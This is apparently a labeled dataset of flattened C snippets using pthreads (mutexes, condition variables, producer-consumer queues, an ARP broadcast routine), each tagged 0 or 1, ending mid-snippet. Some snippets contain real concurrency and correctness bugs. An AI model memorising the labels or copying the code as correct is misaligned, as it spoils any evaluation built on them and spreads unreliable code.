#include <pthread.h> int fd; int left, middle, right; int x, y; void mouse_connect() { const char *pDevice = "/dev/input/mice"; fd = open(pDevice, O_RDWR); int flags = fcntl(fd, F_GETFL, 0); fcntl(fd, F_SETFL, flags | O_NONBLOCK); if(fd == -1) { printf("ERROR Opening %s\\n", pDevice); return -1; } } void* mouse_update() { signed char dx, dy; x = 320; y = 240; while(1) { unsigned char data[3]; int bytes = read(fd, data, sizeof(data)); if(bytes > 0) { int i, j; for (i=x; i<=x+1; i++) { for (j=y; j<=y+1; j++) { if(i < 640 && j < 480){ if(!life[i][j]) { VGA_PIXEL(i, j, 0x00); } } } } left = data[0] & 0x1; right = data[0] & 0x2; middle = data[0] & 0x4; dx = data[1]; dy = data[2]; x += (dx >> 1); y -= (dy >> 1); if(x > 639) { x = 639; } else if(x < 0) { x = 0; } if(y > 479) { y = 479; } else if(y < 0) { y = 0; } unsigned char SW1_status = 0; SW1_status = *((volatile unsigned char *)(h2p_lw_virtual_base + SW_BASE)) & (1 << 1); if(left){ if(SW1_status) { draw_pi(x,y); } else { pthread_mutex_lock(&lock); life_new[x][y] ^= 1; pthread_mutex_unlock(&lock); } } if(right){ glider_gun(x, y, 1, 1); } VGA_box(x, y, x+1, y+1, 0xff); } } }
1
#include <pthread.h> pthread_mutex_t the_mutex; pthread_cond_t condc, condp; int buffer[5]; int in = 0, out = 0; void *producer(void *ptr) { int i; for (i = 0; i < 10; i++) { pthread_mutex_lock(&the_mutex); while (((in + 1) % 5) == out) pthread_cond_wait(&condp, &the_mutex); buffer[in] = i; printf("ProBuffer[%d]:%2d\\n", in, buffer[in]); in = (in + 1) % 5; pthread_cond_signal(&condc); pthread_mutex_unlock(&the_mutex); } pthread_exit(0); } void *consumer(void *ptr) { int i; for (i = 0; i < 10; i++) { pthread_mutex_lock(&the_mutex); while (in == out) pthread_cond_wait(&condc, &the_mutex); printf("ConBuffer[%d]:%2d\\n", out, buffer[out]); out = (out + 1) % 5; buffer[out] = 0; pthread_cond_signal(&condp); pthread_mutex_unlock(&the_mutex); } pthread_exit(0); } int main(int argc, char **argv) { pthread_t pro, con; pthread_mutex_init(&the_mutex, 0); pthread_cond_init(&condc, 0); pthread_cond_init(&condp, 0); pthread_create(&con, 0, consumer, 0); pthread_create(&pro, 0, producer, 0); pthread_join(con, 0); pthread_join(pro, 0); pthread_mutex_destroy(&the_mutex); pthread_cond_destroy(&condc); pthread_cond_destroy(&condp); }
0
#include <pthread.h> int quitflag; sigset_t mask; pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t wait = PTHREAD_COND_INITIALIZER; void *thr_fn(void *arg) { int err, signo; for (;;) { err = sigwait(&mask, &signo); if (err != 0) { fprintf(stderr, "sigwait failed: %s\\n", strerror(err)); return ((void *) err); } switch (signo) { case SIGINT: printf("interrupt\\n"); break; case SIGQUIT: pthread_mutex_lock(&lock); quitflag = 1; pthread_mutex_unlock(&lock); pthread_cond_signal(&wait); return (0); default: printf("unexpected signal %d\\n", signo); exit(1); } } } int main(int argc, char *argv[]) { int err; sigset_t oldmask; pthread_t tid; sigemptyset(&mask); sigaddset(&mask, SIGINT); sigaddset(&mask, SIGQUIT); sigaddset(&mask, SIGILL); if ((err = pthread_sigmask(SIG_BLOCK, &mask, &oldmask)) != 0) { fprintf(stderr, "SIG_BLOCK faield: %s\\n", strerror(err)); return (err); } err = pthread_create(&tid, 0, thr_fn, 0); if (err != 0) { fprintf(stderr, "pthread create failed: %s\\n", strerror(err)); return (err); } pthread_mutex_lock(&lock); while (quitflag == 0) { pthread_cond_wait(&wait, &lock); } pthread_mutex_unlock(&lock); printf("in main thread\\n"); quitflag = 0; if (sigprocmask(SIG_SETMASK, &oldmask, 0) < 0) { fprintf(stderr, "SIG_SETMASK failed: %s\\n", strerror(errno)); return (errno); } return 0; }
1
#include <pthread.h> void *MyThread(void *); pthread_mutex_t mutex; main() { pthread_t idA, idB; if (pthread_mutex_init(&mutex, 0) < 0) { perror("pthread_mutex_init"); exit(1); } if (pthread_create(&idA, 0, MyThread, (void *)"A") != 0) { perror("pthread_create"); exit(1); } if (pthread_create(&idB, 0, MyThread, (void *)"B") != 0) { perror("pthread_create"); exit(1); } (void)pthread_join(idA, 0); (void)pthread_join(idB, 0); (void)pthread_mutex_destroy(&mutex); } int x = 0; void *MyThread(void *arg) { char *sbName; sbName = (char *)arg; IncrementX(); printf("X = %d in Thread %s\\n", x, sbName); } IncrementX() { int Temp; BeginRegion(); Temp = x; Temp = Temp + 1; x = Temp; EndRegion(); } BeginRegion() { pthread_mutex_lock(&mutex); } EndRegion() { pthread_mutex_unlock(&mutex); }
0
#include <pthread.h> int main() { char *shm1="myshm"; char *shm2="youshm"; int shm_id_1,shm_id_2; char *buf; pid_t pid; pthread_mutex_t *mutex; pthread_mutexattr_t mutexattr; shm_id_2=shm_open(shm2,O_RDWR|O_CREAT,0644); ftruncate(shm_id_2,100); mutex=(pthread_mutex_t*)mmap(0,100,PROT_READ|PROT_WRITE,MAP_SHARED,shm_id_2,0); pthread_mutexattr_init(&mutexattr); pthread_mutex_init(mutex,&mutexattr); shm_id_1=shm_open(shm1,O_RDWR|O_CREAT,0644); ftruncate(shm_id_1,100); buf=(char*)mmap(0,100,PROT_READ|PROT_WRITE,MAP_SHARED,shm_id_1,0); pid=fork(); if(pid==0) { sleep(1); printf("I`m child process\\n"); pthread_mutex_lock(mutex); memcpy(buf,"hello",6); printf("Child buf is %s\\n",buf); pthread_mutex_unlock(mutex); } else if (pid>0) { printf("I`m parent process\\n"); pthread_mutex_lock(mutex); memcpy(buf,"world",6); sleep(3); pthread_mutex_unlock(mutex); printf("parent buf is :%s\\n",buf); } pthread_mutexattr_destroy(&mutexattr); pthread_mutex_destroy(mutex); munmap(buf,100); munmap(mutex,100); shm_unlink(shm1); shm_unlink(shm2); return 0; }
1
#include <pthread.h> int log_to_stderr = 1; int makethread(void *(*fn)(void *), void *arg) { int err; pthread_t tid; pthread_attr_t attr; err = pthread_attr_init(&attr); if ( err != 0 ) return (err); err = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); if ( err == 0 ) err = pthread_create(&tid, &attr, fn, arg); pthread_attr_destroy(&attr); return(err); } struct to_info { void (*to_fn)(void *); void *to_arg; struct timespec to_wait; }; void clock_gettime(int id, struct timespec *tsp) { struct timeval tv; gettimeofday(&tv, 0); tsp->tv_sec = tv.tv_sec; tsp->tv_nsec = tv.tv_usec * 1000; } void *timeout_helper(void *arg) { struct to_info *tip; tip = (struct to_info *)arg; nanosleep((&tip->to_wait), (0)); (*tip->to_fn)(tip->to_arg); free(arg); return 0; } void timeout(const struct timespec *when, void (*func)(void *), void *arg) { struct timespec now; struct to_info *tip; int err; clock_gettime(0, &now); if ( (when->tv_sec > now.tv_sec) || (when->tv_sec == now.tv_sec && when->tv_nsec > now.tv_nsec) ) { tip = malloc(sizeof(struct to_info)); if ( tip != 0 ) { tip->to_fn = func; tip->to_arg = arg; tip->to_wait.tv_sec = when->tv_sec - now.tv_sec; if ( when->tv_nsec >= now.tv_nsec ) tip->to_wait.tv_nsec = when->tv_nsec - now.tv_nsec; else { tip->to_wait.tv_sec--; tip->to_wait.tv_nsec = 1000000000 - now.tv_nsec + when->tv_nsec; } err = makethread(timeout_helper, (void *)tip); if ( err == 0 ) return; else free(tip); } } (*func)(arg); } pthread_mutexattr_t attr; pthread_mutex_t mutex; void retry(void *arg) { pthread_mutex_lock(&mutex); pthread_mutex_unlock(&mutex); } int main() { int err, condition, arg; struct timespec when; if ( (err = pthread_mutexattr_init(&attr)) != 0 ) err_exit(err, "pthread_mutexattr_init failed"); if ( (err = pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE)) != 0 ) err_exit(err, "can't set recursive type"); if ( (err = pthread_mutex_init(&mutex, &attr)) != 0 ) err_exit(err, "can't create recursive mutex"); pthread_mutex_lock(&mutex); if ( condition ) { clock_gettime(0, &when); when.tv_sec += 10; timeout(&when, retry, (void *)((unsigned long)arg)); } pthread_mutex_unlock(&mutex); exit(0); }
0
#include <pthread.h> void atomic_array_init(struct atomic_array *aa) { pthread_mutex_init(&aa->mutex, 0); } int atomic_array_get(struct atomic_array *aa, int id) { int res; pthread_mutex_lock(&aa->mutex); res = aa->arr[id]; pthread_mutex_unlock(&aa->mutex); return res; } void atomic_array_set(struct atomic_array *aa, int id, int state) { aa->arr[id] = state; } void atomic_int_init(struct atomic_int *ai) { pthread_mutex_init(&ai->mutex, 0); } int atomic_int_compare_and_set(struct atomic_int *ai, int prev_state, int new_state) { int res; pthread_mutex_lock(&ai->mutex); if (ai->value == prev_state) { ai->value = new_state; res = 1; } else { res = 0; } pthread_mutex_unlock(&ai->mutex); return res; } extern int tid_cache[5][5000]; void read_lock(struct atomic_array *readers_states, struct atomic_int *writer_state, int version, int machine, int tid_ring) { int local_tid; local_tid = tid_ring; tid_cache[machine][version] = local_tid; atomic_array_set(readers_states, local_tid, RSTATE_PREP); if (writer_state->value > WSTATE_UNUSED) { while (writer_state->value > WSTATE_UNUSED) { atomic_array_set(readers_states, local_tid, RSTATE_WAITING); while (writer_state->value > WSTATE_UNUSED) pthread_yield(); atomic_array_set(readers_states, local_tid, RSTATE_PREP); } } atomic_array_set(readers_states, local_tid, RSTATE_READING); } void read_unlock(struct atomic_array *readers_states, int version, int machine) { int local_tid; local_tid = tid_cache[machine][version]; if (atomic_array_get(readers_states, local_tid) != RSTATE_READING) { } atomic_array_set(readers_states, local_tid, RSTATE_UNUSED); } void write_lock(struct atomic_array *readers_states, struct atomic_int *writer_state, int version, int machine, int tid_ring) { int local_tid; int wait_for_readers[MAX_NUM_THREADS]; int num_wait_readers; int i; int has_enter = 0; num_wait_readers = 0; local_tid = tid_ring; tid_cache[machine][version] = local_tid; while (!atomic_int_compare_and_set(writer_state, WSTATE_UNUSED, WSTATE_WRITEORWAIT)) { if (!has_enter) { printf("machine:%d version:%d waiting...\\n", machine, version); has_enter = 1; } pthread_yield(); } printf("machine:%d version:%d hostage has been rescued...\\n", machine, version); } void write_unlock(struct atomic_int *writer_state) { if (writer_state->value == WSTATE_UNUSED) { } writer_state->value = WSTATE_UNUSED; }
1
#include <pthread.h> int n_gen = 10; struct coll_msg_t { char msg[100][255]; int w_index; int r_index; int items; pthread_mutex_t m_index; }; pthread_cond_t signal_collector; struct coll_msg_t mqueues[10]; static inline int msgq_is_empty(const struct coll_msg_t *mq) { return (mq->items == 0); } static inline int msgq_is_full(const struct coll_msg_t *mq) { return (mq->items == 100); } static inline int msgq_write(struct coll_msg_t *mq, pthread_cond_t *cond, const char *msg) { int r = 0; pthread_mutex_lock(&mq->m_index); if (msgq_is_full(mq)) { pthread_mutex_unlock(&mq->m_index); return -ENOTEMPTY; } strncpy(mq->msg[mq->w_index], msg, sizeof(mq->msg[mq->w_index])); mq->w_index = (mq->w_index + 1) % 100; mq->items++; pthread_mutex_unlock(&mq->m_index); pthread_cond_broadcast(cond); return r; } static inline char *msgq_read(struct coll_msg_t *mq) { size_t mlen = sizeof(mq->msg[0]); char *rstr = malloc(mlen); if (rstr == 0) return 0; pthread_mutex_lock(&mq->m_index); if (msgq_is_empty(mq)) { free(rstr); pthread_mutex_unlock(&mq->m_index); return 0; } strncpy(rstr, mq->msg[mq->r_index], mlen); mq->r_index = (mq->r_index + 1) % 100; mq->items--; pthread_mutex_unlock(&mq->m_index); return rstr; } struct parms_collector_t { char fname[255]; pthread_cond_t *signal; int n_queues; struct coll_msg_t *p_msg_queues; }; static void *collector(void *arg) { struct parms_collector_t *p = arg; char *fname = p->fname; FILE *fp; pthread_mutex_t m_tmp; int i; char *msg; if (strcmp(p->fname, "STDOUT") == 0) fp = stdout; else fp = fopen(p->fname, "w"); if (fp == 0) return; pthread_mutex_init(&m_tmp, 0); while (1) { pthread_mutex_lock(&m_tmp); pthread_cond_wait(p->signal, &m_tmp); for (i = 0; i < p->n_queues; i++) { if ((msg = msgq_read(&p->p_msg_queues[i]))) { fprintf(fp, "%d: %s\\n", i, msg); free(msg); } } pthread_mutex_unlock(&m_tmp); fflush(fp); } fclose(fp); return 0; } struct parms_generator_t { pthread_cond_t *signal; struct coll_msg_t *p_msg_q; }; static void *generator(void *arg) { struct parms_generator_t *p = arg; int r, i; int count = 100; char msg[255]; pthread_t tid; tid = pthread_self(); for (i = 0; i < count; i++) { r = random() % 10; sleep(r); snprintf(msg, sizeof(msg), "msg after %d sleep", r); msgq_write(p->p_msg_q, p->signal, msg); } return 0; } static void init_mqueue(struct coll_msg_t *mq) { mq->w_index = mq->r_index = mq->items = 0; pthread_mutex_init(&mq->m_index, 0); return; } int main() { int i; struct parms_generator_t p_g[n_gen]; struct parms_collector_t p_c; pthread_t tid[n_gen + 1]; pthread_attr_t attr; for (i = 0; i < n_gen; i++) { init_mqueue(&mqueues[i]); } pthread_cond_init(&signal_collector, 0); for (i = 0; i < n_gen; i++) { p_g[i].signal = &signal_collector; p_g[i].p_msg_q = &mqueues[i]; } strncpy(p_c.fname, "/tmp/collector", sizeof(p_c.fname)); p_c.signal = &signal_collector; p_c.n_queues = n_gen; p_c.p_msg_queues = mqueues; pthread_attr_init(&attr); pthread_create(&tid[n_gen], &attr, collector, &p_c); for (i = 0; i < n_gen; i++) { pthread_create(&tid[i], &attr, generator, &p_g[i]); } for (i = 0; i < n_gen; i++) { pthread_join(tid[i], 0); printf("Thread %d done.\\n", i); } return 0; }
0
#include <pthread.h> void health_init ( void ) { pthread_mutex_init( &health.mutex, 0 ); return; } void health_exit ( void ) { pthread_mutex_destroy( &health.mutex ); return; } void health_update ( void ) { long double a[4], b[4], num, den, cpu; FILE *fp; fp = fopen( "/proc/stat", "r" ); fscanf( fp, "%*s %Lf %Lf %Lf %Lf", &a[0], &a[1], &a[2], &a[3] ); fclose(fp); rc_time_usleep(200000); fp = fopen( "/proc/stat", "r" ); fscanf( fp, "%*s %Lf %Lf %Lf %Lf", &b[0], &b[1], &b[2], &b[3] ); fclose(fp); num = ( b[0] + b[1] + b[2] ) - ( a[0] + a[1] + a[2] ); den = num + b[3] - a[3]; cpu = num / den; pthread_mutex_lock( &health.mutex ); health.cpu = cpu; health.volt = rc_pwr_batt_volt(); pthread_mutex_unlock( &health.mutex ); return; }
1
#include <pthread.h> void get_thread_id(char *buff, int size) { int ret = 1; pthread_t self; self = pthread_self(); if (ret || !buff[0]) ret = snprintf(buff, size, "%04X", (unsigned) self); } FILE *flog; int accum_log_file = 0; int log_flush = 1; static int log_level = SSA_LOG_DEFAULT; static pthread_mutex_t log_lock = PTHREAD_MUTEX_INITIALIZER; void ssa_set_log_level(int level) { log_level = level; } int ssa_get_log_level() { return log_level; } int ssa_open_log(char *log_file) { if (!strcasecmp(log_file, "stdout")) { flog = stdout; return 0; } if (!strcasecmp(log_file, "stderr")) { flog = stderr; return 0; } if (accum_log_file) flog = fopen(log_file, "a"); else flog = fopen(log_file, "w"); if (flog) return 0; syslog(LOG_WARNING, "Failed to open log file %s ERROR %d (%s)\\n", log_file, errno, strerror(errno)); flog = stderr; return -1; } void ssa_close_log() { if (flog != stdout && flog != stderr) fclose(flog); flog = 0; } void ssa_report_error(int level, int error, const char *format, ...) { char msg[1024] = {}; va_list args; __builtin_va_start((args)); vsnprintf(msg, sizeof(msg), format, args); ; ssa_write_log(level, "%s", msg); ssa_set_runtime_stats(STATS_ID_LAST_ERR, error); ssa_inc_runtime_stats(STATS_ID_NUM_ERR); ssa_set_runtime_stats_time(STATS_ID_TIME_LAST_ERR); } void ssa_write_log(int level, const char *format, ...) { va_list args; char tid[16] = {}; struct timeval tv; time_t tim; if (!flog) return; if (!(level & log_level)) return; gettimeofday(&tv, 0); tim = tv.tv_sec; get_thread_id(tid, sizeof tid); __builtin_va_start((args)); pthread_mutex_lock(&log_lock); ssa_write_date(flog, tim, (unsigned int) tv.tv_usec); fprintf(flog, " [%.16s]: ",tid); vfprintf(flog, format, args); if (log_flush) fflush(flog); pthread_mutex_unlock(&log_lock); ; } void ssa_sprint_addr(int level, char *str, size_t str_size, int addr_type, uint8_t *addr, size_t addr_size) { if (!(level & log_level)) return; ssa_format_addr(str, str_size, addr_type, addr, addr_size); } void ssa_log_options() { char hostname[HOST_NAME_MAX]; gethostname(hostname, HOST_NAME_MAX); ssa_log(SSA_LOG_DEFAULT, "SSA version %s\\n", IB_SSA_VERSION); ssa_log(SSA_LOG_DEFAULT, "host name %s\\n", hostname); ssa_log(SSA_LOG_DEFAULT, "log level 0x%x\\n", log_level); ssa_log(SSA_LOG_DEFAULT, "accumulate log file: %s (%d)\\n", accum_log_file ? "true" : "false", accum_log_file); }
0
#include <pthread.h> struct foo { int f_count; pthread_mutex_t f_lock; int f_id; }; struct foo * foo_alloc(int id) { struct foo *fp; if ((fp = malloc(sizeof(struct foo))) != 0) { fp->f_count = 1; fp->f_id = id; if (pthread_mutex_init(&fp->f_lock, 0) != 0) { free(fp); return(0); } } return(fp); } void foo_hold(struct foo *fp) { pthread_mutex_lock(&fp->f_lock); fp->f_count++; pthread_mutex_unlock(&fp->f_lock); } void foo_rele(struct foo *fp) { pthread_mutex_lock(&fp->f_lock); if (--fp->f_count == 0) { pthread_mutex_unlock(&fp->f_lock); pthread_mutex_destroy(&fp->f_lock); free(fp); } else { pthread_mutex_unlock(&fp->f_lock); } }
1
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t cua_cons, cua_prod; int buffer; int buit; int numIters; void *productor(void *arg) { int i; for(i = 1; i <= numIters; i++) { pthread_mutex_lock(&mutex); if (!buit) pthread_cond_wait(&cua_prod, &mutex); printf("Productor produeix la data %d\\n", i); buffer = i; buit = 0; pthread_cond_signal(&cua_cons); pthread_mutex_unlock(&mutex); } } void *consumidor(void *arg) { int i, total = 0; for(i = 1; i <= numIters; i++) { pthread_mutex_lock(&mutex); if (buit) pthread_cond_wait(&cua_cons, &mutex); printf("Consumidor agafa la dada %d\\n", buffer); total = total + buffer; buit = 1; pthread_cond_signal(&cua_prod); pthread_mutex_unlock(&mutex); } printf("El total es %d\\n", total); } int main(int argc, char **argv) { pthread_t prod, cons; if (argc != 2) { printf("Us: %s <numIters>\\n", argv[0]); exit(1); } buit = 1; pthread_mutex_init(&mutex, 0); pthread_cond_init(&cua_cons, 0); pthread_cond_init(&cua_prod, 0); numIters = atoi(argv[1]); pthread_create(&prod, 0, productor, 0); pthread_create(&cons, 0, consumidor, 0); pthread_join(prod, 0); pthread_join(cons, 0); }
0
#include <pthread.h> pthread_mutex_t verrou = PTHREAD_MUTEX_INITIALIZER; struct matricule { int chiffre[3]; char lettre[3]; int chiffreFix[2]; }; void * monMatricule(void *par) { pthread_t moi = pthread_self(); printf("thread : %u, proc : %d \\n", moi, getpid()); pthread_mutex_lock(&verrou); struct matricule * tmpMat = (struct matricule *) par; printf("nouveau matricule: %d%d%d-%c%c%c-%d%d\\n", tmpMat->chiffre[0], tmpMat->chiffre[1], tmpMat->chiffre[2], tmpMat->lettre[0], tmpMat->lettre[1], tmpMat->lettre[2], tmpMat->chiffreFix[0], tmpMat->chiffreFix[1]); tmpMat->chiffre[2] += 1; sleep(1); pthread_mutex_unlock(&verrou); pthread_exit(0); } int main(int argc, char const *argv[]) { struct matricule mat; for (int i = 0; i < 3; i++) { mat.chiffre[i] = 0; mat.lettre[i] = 'a'; } mat.chiffreFix[0] = 3; mat.chiffreFix[1] = 4; pthread_t idTh[3]; for (int i = 0; i < 3; i++) { if(pthread_create(&idTh[i], 0, monMatricule, (void *) & mat) != 0) printf("erreur creation thread %d \\n", i); } for (int i = 0; i < 3; i++) { pthread_join(idTh[i], 0); } printf("fin des demandes !!!\\n"); return 0; }
1
#include <pthread.h> struct arp_packet { u_char targ_hw_addr[6]; u_char src_hw_addr[6]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[6]; u_char sndr_ip_addr[4]; u_char rcpt_hw_addr[6]; u_char rcpt_ip_addr[4]; u_char padding[18]; }; int InitArpSocket(void); void SendFreeArp(void); int ArpSendBuff(void); void CloseArpSocket(void); int InitArpSocket(void) { ARP_Socket = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); if (ARP_Socket < 0) { perror("Create arpsocket error\\r\\n"); return 0; } return 1; } int ArpSendBuff(void) { struct arp_packet pkt; struct sockaddr sa; pkt.frame_type = htons(0x0806); pkt.hw_type = htons(1); pkt.prot_type = htons(0x0800); pkt.hw_addr_size = 6; pkt.prot_addr_size = 4; pkt.op = htons(1); pkt.targ_hw_addr[0] = 0xff; pkt.targ_hw_addr[1] = 0xff; pkt.targ_hw_addr[2] = 0xff; pkt.targ_hw_addr[3] = 0xff; pkt.targ_hw_addr[4] = 0xff; pkt.targ_hw_addr[5] = 0xff; pkt.rcpt_hw_addr[0] = 0x00; pkt.rcpt_hw_addr[1] = 0x00; pkt.rcpt_hw_addr[2] = 0x00; pkt.rcpt_hw_addr[3] = 0x00; pkt.rcpt_hw_addr[4] = 0x00; pkt.rcpt_hw_addr[5] = 0x00; memcpy(pkt.src_hw_addr, LocalCfg.Mac_Addr, 6); memcpy(pkt.sndr_hw_addr, LocalCfg.Mac_Addr, 6); memcpy(pkt.sndr_ip_addr, LocalCfg.IP, 4); memcpy(pkt.rcpt_ip_addr, LocalCfg.IP, 4); bzero(pkt.padding,18); strcpy(sa.sa_data, "eth0"); if (sendto(ARP_Socket,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) { perror("arp send error"); return 0; } return 1; } void CloseArpSocket(void) { close(ARP_Socket); } void SendFreeArp(void) { int i; for(i=0; i<UDPSENDMAX; i++) { if (Multi_Udp_Buff[i].isValid == 0) { pthread_mutex_lock(&Local.udp_lock); Multi_Udp_Buff[i].SendNum = 3; Multi_Udp_Buff[i].m_Socket = ARP_Socket; Multi_Udp_Buff[i].DelayTime = 100; Multi_Udp_Buff[i].SendDelayTime = 0; Multi_Udp_Buff[i].isValid = 1; pthread_mutex_unlock(&Local.udp_lock); sem_post(&multi_send_sem); break; } } }
0
#include <pthread.h> void init_matrix (int **matrix, int fils, int cols) { int i, j; for (i = 0; i < fils; i++) { for (j = 0; j < cols; j++) { matrix[i][j] = 1; } } } int **matrix1; int **matrix2; int **matrixR; int matrix1_fils; int matrix1_cols; int matrix2_fils; int matrix2_cols; pthread_t *thread_list; pthread_mutex_t mutex; int pending_jobs = 0; struct job { int i, j; struct job *next; }; struct job *job_list = 0; struct job *last_job = 0; void add_job(int i, int j){ struct job *job = malloc(sizeof(struct job)); job->i = i; job->j = j; job->next = 0; if(pending_jobs == 0){ job_list = job; last_job = job; } else{ last_job->next = job; last_job = job; } pending_jobs++; } struct job* get_job(){ struct job *job = 0; if(pending_jobs > 0){ job = job_list; job_list = job->next; if(job_list == 0){ last_job = 0; } pending_jobs--; } return job; } void do_job(struct job *job) { int k, acum; acum = 0; for (k = 0; k < matrix1_cols; k++) { acum += matrix1[job->i][k] * matrix2[k][job->j]; } matrixR[job->i][job->j] = acum; } void* dispatch_job () { struct job *job; while(1) { pthread_mutex_lock(&mutex); job = get_job(); pthread_mutex_unlock(&mutex); if (job) { do_job(job); free(job); } else { pthread_exit(0); } } } int main (int argc, char **argv) { if (argc > 3) { printf("\\n%s %s %s %s\\n", argv[0], argv[1], argv[2], argv[3]); matrix1_fils = strtol(argv[1], (char **) 0, 10); matrix1_cols = strtol(argv[2], (char **) 0, 10); matrix2_fils = matrix1_cols; matrix2_cols = strtol(argv[3], (char **) 0, 10); int i,j; matrix1 = (int **) calloc(matrix1_fils, sizeof(int*)); for (i = 0; i < matrix1_fils; i++){ matrix1[i] = (int *) calloc(matrix1_cols, sizeof(int)); } matrix2 = (int **) calloc(matrix2_fils, sizeof(int*)); for (i = 0; i < matrix2_fils; i++){ matrix2[i] = (int *) calloc(matrix2_cols, sizeof(int)); } matrixR = (int **) malloc(matrix1_fils * sizeof(int*)); for (i = 0; i < matrix1_fils; i++){ matrixR[i] = (int *) malloc(matrix2_cols * sizeof(int)); } init_matrix(matrix1, matrix1_fils, matrix1_cols); init_matrix(matrix2, matrix2_fils, matrix2_cols); for (i = 0; i < matrix1_fils; i++) { for (j = 0; j < matrix2_cols; j++) { add_job(i,j); } } thread_list = malloc(sizeof(int) * 3); pthread_mutex_init(&mutex, 0); pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setscope(&attr, PTHREAD_SCOPE_SYSTEM); for (i = 0; i < 3; i++) { pthread_create(&thread_list[i], &attr, dispatch_job, 0); } for (i = 0; i < 3; i++) { pthread_join(thread_list[i], 0); } pthread_attr_destroy(&attr); pthread_mutex_destroy(&mutex); free(thread_list); for (i = 0; i < matrix1_fils; i++) { free(matrix1[i]); } free(matrix1); for (i = 0; i < matrix2_fils; i++) { free(matrix2[i]); } free(matrix2); for (i = 0; i < matrix1_fils; i++) { free(matrixR[i]); } free(matrixR); return 0; } fprintf(stderr, "Uso: %s filas_matriz1 columnas_matriz1 columnas_matriz2\\n", argv[0]); return -1; }
1
#include <pthread.h> { char buf[3]; int occupied; int nextin, nextout; pthread_mutex_t mutex; pthread_cond_t more; pthread_cond_t less; } buffer_t; buffer_t buffer; int done = 0; int sleep_time; void * producerFunction(void *); void * consumerFunction(void *); pthread_t producerThread; pthread_t consumerThread; int main( int argc, char *argv[] ) { int r=0; if(argc==3 && strcmp(argv[1],"-r")==0) { r = rand()% atoi(argv[2]); } else if( argc == 2 ) { r= atoi(argv[1]); } else { printf("\\tusage: bound sleeptime \\n\\tusage1: ./bound -r <sleeptime> \\n\\tusage2: ./bound <sleeptime> \\n"); return(0); } sleep_time = r; pthread_cond_init(&(buffer.more), 0); pthread_cond_init(&(buffer.less), 0); pthread_create(&consumerThread, 0, consumerFunction, 0); pthread_create(&producerThread, 0, producerFunction, 0); pthread_join(consumerThread, 0); pthread_join(producerThread, 0); printf("main() exiting properly, both threads have terminated. \\n"); return(1); } void* producerFunction(void * parm) { printf("producer starting... \\n"); char item[]= "More than meets the eye!"; int i; for( i=0 ;; i++){ if( item[i] == '\\0') { break; } if(pthread_mutex_lock(&(buffer.mutex))==0) { printf("producer has the lock. \\n"); } if(3 <= buffer.occupied) { printf("producer waiting, full buffer ... \\n"); } while( buffer.occupied >= 3 ) pthread_cond_wait(&(buffer.less), &(buffer.mutex) ); buffer.buf[buffer.nextin++] = item[i]; buffer.nextin %= 3; buffer.occupied++; printf("producing object number: %i [%c]\\n", i, item[i]); pthread_mutex_unlock(&(buffer.mutex)); pthread_cond_signal(&(buffer.more)); sleep(sleep_time); } done = 1; pthread_cond_signal(&(buffer.more)); printf("producer exiting. \\n"); pthread_exit(0); } void* consumerFunction(void * parm) { printf("consumer starting \\n"); char item; int i; for( i=0 ;; i++ ){ if( pthread_mutex_lock(&(buffer.mutex)) == 0 ) printf("consumer has the lock. \\n"); if (0 >= buffer.occupied) printf("consumer waiting, empty buffer ... \\n"); while(buffer.occupied <= 0 && done!=1) { pthread_cond_wait(&(buffer.more), &(buffer.mutex)); } if(1==done && buffer.occupied <=0) break; item = buffer.buf[buffer.nextout++]; buffer.nextout %=3; printf("consuming object number %i [%c]\\n", i ,item); buffer.occupied--; pthread_mutex_unlock(&(buffer.mutex)); pthread_cond_signal(&(buffer.less)); } printf("consumer exiting. \\n"); pthread_exit(0); }
0
#include <pthread.h> static pthread_mutex_t testlock; pthread_t test_thread; void *test() { pthread_mutex_lock(&testlock); printf("thread Test() \\n"); pthread_mutex_unlock(&testlock); } int main() { pthread_mutex_init(&testlock, 0); pthread_mutex_lock(&testlock); printf("Main lock \\n"); pthread_create(&test_thread, 0, test, 0); sleep(1); printf("Main unlock \\n"); pthread_mutex_unlock(&testlock); sleep(1); pthread_join(test_thread,0); pthread_mutex_destroy(&testlock); return 0; }
1
#include <pthread.h> pthread_mutex_t request_mutex = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP; pthread_cond_t got_job_request = PTHREAD_COND_INITIALIZER; int num_requests = 0; int done_creating_jobRequests = 0; struct arg_structure { int arg1; int arg2; }; struct Job { int job_id; struct Job* next_job; struct arg_structure* args; void (*function)(void* arg); }; struct Job* jobs_list = 0; struct Job* last_job = 0; void add_job_request(int p_num_job, void (*p_function)(void*), void* p_arg, pthread_cond_t* p_condition_var, pthread_mutex_t* p_mutex) { struct Job* a_new_job; struct arg_structure *args = p_arg; a_new_job = (struct Job*) malloc(sizeof(struct Job)); if (a_new_job == 0) { fprintf(stderr, "add_job_request() : No hay más memoria\\n"); exit(1); } a_new_job -> job_id = p_num_job; a_new_job -> next_job = 0; a_new_job -> function = p_function; a_new_job -> args = args; int rc; rc = pthread_mutex_lock(p_mutex); if (num_requests == 0) { jobs_list = a_new_job; last_job = a_new_job; } else { last_job -> next_job = a_new_job; last_job = a_new_job; } num_requests ++; rc = pthread_mutex_unlock(p_mutex); rc = pthread_cond_signal(p_condition_var); } struct Job* get_job_request(pthread_mutex_t* p_mutex) { struct Job* the_job; int rc; rc = pthread_mutex_lock(p_mutex); if (num_requests > 0) { the_job = jobs_list; jobs_list = the_job -> next_job; if (jobs_list == 0) { last_job = 0; } num_requests -- ; } else { the_job = 0; } rc = pthread_mutex_unlock(p_mutex); return the_job; } void doJob(struct Job* p_Job_to_do, int p_thread_ID) { if (p_Job_to_do) { printf("Thread '%d' handled request '%d' with 1st parameter '%d' \\n",p_thread_ID, p_Job_to_do -> job_id, p_Job_to_do -> args -> arg1); fflush(stdout); } } void* handle_Job_Requests(void* data) { struct Job* a_new_job; int thread_id = *((int*)data); int th; th = pthread_mutex_lock(&request_mutex); while (1) { if (num_requests > 0) { a_new_job = get_job_request(&request_mutex); if (a_new_job) { doJob(a_new_job, thread_id); free(a_new_job); } } else { if 